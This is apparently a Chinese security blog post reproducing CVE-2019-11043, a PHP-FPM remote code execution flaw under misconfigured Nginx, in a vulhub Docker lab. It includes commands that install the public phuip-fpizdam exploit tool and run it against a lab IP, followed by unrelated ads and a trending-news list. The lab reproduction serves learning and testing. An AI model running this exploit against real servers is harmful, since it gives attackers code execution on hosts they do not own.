CVE-2019-11043 PHP-FPM执行任意代码
0x00背景
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
0x01环境搭建
下载漏洞环境,使用docker搭建,漏洞环境地址https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043,进入漏洞环境目录,执行docker-compose up -d命令,进行安装。
漏洞环境搭建成功,如图
0x02漏洞利用
在kali上配置好go环境,然后执行下面命令

0x03参考链接
https://github.com/neex/phuip-fpizdam
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043


go get github.com/neex/phuip-fpizdam
go install github.com/neex/phuip-fpizdam
./phuip-fpizdam http://192.168.175.135:8080/index.php


关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:http://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 产业升级态势没有改变 4983598
- 2 刘德华奥迪广告涉抄袭 奥迪致歉 4914710
- 3 星链在亚速钢铁厂参战“实锤” 4828811
- 4 袁隆平院士逝世一周年 4782744
- 5 实拍上海地铁:多是拖行李离沪乘客 4681215
- 6 可口可乐推出不会掉的瓶盖 4550103
- 7 袁老写的词被谱成了歌 4464080
- 8 澳大利亚新当选总理会说中文 4321874
- 9 男子悬赏百万寻子 为孩子备了3套房 4206675
- 10 风吹过稻田我又想您了 4128681